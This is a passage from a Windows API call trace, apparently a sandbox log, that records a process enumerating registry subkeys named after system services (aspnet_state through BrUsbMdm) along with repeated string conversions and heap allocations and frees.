BaseAddress=0x21f1a00) returned 1 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0254.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0254.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0254.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0254.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0254.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0254.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0254.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0254.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0254.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0254.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0254.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0254.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0254.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0254.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0254.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0254.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0254.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0254.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0254.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0254.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0254.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0254.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0254.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, 